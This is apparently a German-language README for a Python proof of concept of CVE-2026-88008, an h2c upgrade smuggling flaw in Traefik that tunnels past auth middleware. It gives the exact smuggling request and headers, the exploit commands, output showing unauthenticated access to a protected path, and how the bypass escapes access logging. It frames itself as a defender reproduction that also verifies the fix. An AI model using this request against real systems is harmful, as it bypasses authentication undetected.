Nur auf die Standardbibliothek gestützter Python-PoC für CVE-2026-88008: nutzt die Traefik-h2c-Upgrade-Weiterleitung aus, um an Routern und Auth-Middleware vorbei zu tunneln, mit einem Jetty-h2c-Lab zur Verifizierung des Fixes.
Betroffen: Traefik 2.11.26 → 2.11.56 und 3.7.0 → 3.7.12
Behoben: 2.11.57 / 3.7.13 — Commit a277e946 "Do not forward h2c upgrade headers to the backend"
Sicherheitshinweis: GHSA-w4v4-9rw7-5326 · CVSS 9.1
Klasse: CWE-444 (Request Smuggling / inkonsistente Interpretation) + CWE-863 (fehlerhafte Autorisierung)
Traefiks HTTP-Reverse-Proxy fügt beim Proxying das Connection: Upgrade /
Upgrade: h2c-Paar des Clients wieder hinzu und leitet zusätzlich den
HTTP2-Settings-Header weiter. Ein Upstream, der den h2c-Upgrade-Handshake
gemäß RFC 7540 §3.2 implementiert, antwortet mit 101 Switching Protocols;
Go's httputil.ReverseProxy wechselt dann in einen rohen Byte-Tunnel. Alles,
was danach auf der Verbindung folgt, ist HTTP/2 direkt zum Backend: Traefiks
Router und Middlewares (BasicAuth, ForwardAuth, IPAllowList, RateLimit) werden
nie konsultiert, und der Datenverkehr wird auch nicht im Access-Log erfasst,
gemessen oder getraced.
Die Request-Form, die Traefik dazu bringt, alle drei Teile weiterzuleiten:
GET /public.html HTTP/1.1
Host: target
Connection: Upgrade # HTTP2-Settings deliberately NOT listed here
Upgrade: h2c
HTTP2-Settings: AAMAAABkAAQAAP__
HTTP2-Settings muss aus der Connection-Token-Liste herausbleiben, da Gos
Reverse-Proxy jeden in Connection genannten Header vor dem Proxying löscht —
wird er dort aufgeführt, wird der Settings-Header entfernt und das Upstream
lehnt das Upgrade ab. Wenn nur Upgrade genannt wird, bleibt der Header
erhalten, während Go das Paar Connection: Upgrade / Upgrade: h2c weiterhin
erneut hinzufügt. Gemessen am echten Proxy:
# what the upstream received through vulnerable v3.7.12
GET /vuln-probe.html HTTP/1.1
Host: lab
Connection: Upgrade
Http2-Settings: AAMAAABkAAQAAP__
Upgrade: h2c
# through fixed v3.7.13
GET /fix-probe.html HTTP/1.1
Host: lab
# -> no Connection, no Upgrade, no Http2-Settings
Der Fix (pkg/server/service/upgrade.go) umschließt den Reverse-Proxy in einem
h2cUpgradeHandler, der Upgrade löscht (wenn Connection das
Upgrade-Token enthält und der Wert h2c ist) und immer Http2-Settings löscht.
# vulnerable target: assert the bypass
python3 poc.py exploit --url http://127.0.0.1:8083
# fixed/control target: assert the upgrade is refused and the path stays protected
python3 poc.py check --url http://127.0.0.1:8084
Das PoC verwendet ausschließlich die Standardbibliothek, öffnet das Upgrade auf einem ungeschützten Pfad und – sobald der Tunnel steht – spricht es HTTP/2 (Rohframes, minimales HPACK), um den durch Middleware geschützten Pfad ohne jegliche Anmeldedaten abzurufen. Stream 1 der neuen HTTP/2-Verbindung ist die wiedergegebene Upgrade-Anfrage (RFC 7540 §3.2); das PoC liest diesen Stream leer und sendet dann seine eigene Anfrage als Stream 3.
Labor: echte traefik:v3.7.12- und traefik:v3.7.13-Container sowie ein echtes Jetty-12-Upstream mit Klartext-HTTP/2 (--add-modules=http2c), das ein Dokument bereitstellt, das durch eine basicAuth-Middleware geschützt ist. Anleitung: lab/README.md.
$ python3 poc.py exploit --url http://127.0.0.1:8083 # Traefik v3.7.12
[*] target : http://127.0.0.1:8083
[*] public path : /public.html
[*] protected path: /protected.html
[*] baseline: GET /protected.html without credentials -> HTTP 401
[*] upgrade request -> HTTP/1.1 101 Switching Protocols
[*] stream 1 (replayed upgrade request) body: 'PUBLIC-OK'
[*] tunnel frames : 1:3:4 0:3:0 0:3:1
[+] content served over the unauthorised tunnel:
PROTECTED-CONTENT-OK
=> PASS (unauthenticated access to /protected.html through the h2c tunnel; Traefik's routers/middlewares were never applied to this request)
$ python3 poc.py check --url http://127.0.0.1:8084 # Traefik v3.7.13
[*] baseline: GET /protected.html without credentials -> HTTP 401
[*] upgrade request -> HTTP/1.1 200 OK
=> PASS (control: upgrade not forwarded and the protected path still requires auth)
$ python3 poc.py exploit --url http://127.0.0.1:8084
[*] upgrade request -> HTTP/1.1 200 OK
=> FAIL (upgrade refused - no h2c tunnel, target is not vulnerable / is fixed)
Traefiks eigenes Zugriffsprotokoll beim verwundbaren Lauf zeigt die Smuggling-Oberfläche: Die Upgrade-Anfrage wird mit einem gekaperten Status (0) aufgezeichnet, und das geschützte Dokument, das der Tunnel abgerufen hat, hat überhaupt keinen Eintrag — der Bypass ist für die Zugriffsprotokollierung unsichtbar:
"GET /protected.html HTTP/1.1" 401 17 ... "prot@file" <- our baseline check
"GET /public.html HTTP/1.1" 0 0 ... "pub@file" 7ms <- the upgrade request (tunnelled)
<- the tunneled protected fetch: nothing logged
Der Bypass benötigt ein Upstream, das das h2c-Upgrade so akzeptiert, wie Traefik es weiterleitet, d. h. mit Connection: Upgrade, Upgrade: h2c und einem HTTP2-Settings-Header, aber ohne das HTTP2-Settings-Token innerhalb von Connection zu verlangen.
Verifiziert akzeptierend:
http2c-Modul (UPGRADE: h2c + Settings-Header ist ausreichend) — dies ist das im Labor verwendete Upstream.Verifiziert ablehnend (sie bestehen zusätzlich auf der RFC-strengen Token-Liste Connection: Upgrade, HTTP2-Settings, die Traefik nicht liefern kann, weil Gos Reverse-Proxy Header entfernt, die in Connection genannt sind):
mod_http2 — protokolliert AH03086: upgrade without HTTP2-Settings declinedgolang.org/x/net/http2/h2c — dessen isH2CUpgrade() verlangt das HTTP2-Settings-Token in ConnectionDie erreichbare Opfermenge sind also Upstreams mit einer nachsichtigen h2c-Upgrade-Prüfung (Java-Dienste auf Jetty sind der übliche Fall), nicht jedes Backend. Der Fehler auf Proxy-Seite und die Grenze des Fixes sind unbedingt, weshalb der Hersteller ihn ausgeliefert hat.
Upgrade: h2c senden kann) und deaktivieren Sie die h2c-Upgrade-Unterstützung in Upstreams (Protocols http/1.1 in Apache, kein http2c-Modul in Jetty) — dasselbe Flag beseitigt auch die verwandten Advisories dieser Familie (CVE-2026-85595 digestAuth-Bypass, CVE-2026-71324 CONNECT-Desync).Öffentliche CVE mit einem öffentlichen Hersteller-Fix; dieses Repository ist eine unabhängige Reproduktion für Verteidiger und zur Verifizierung der Grenze des Fixes.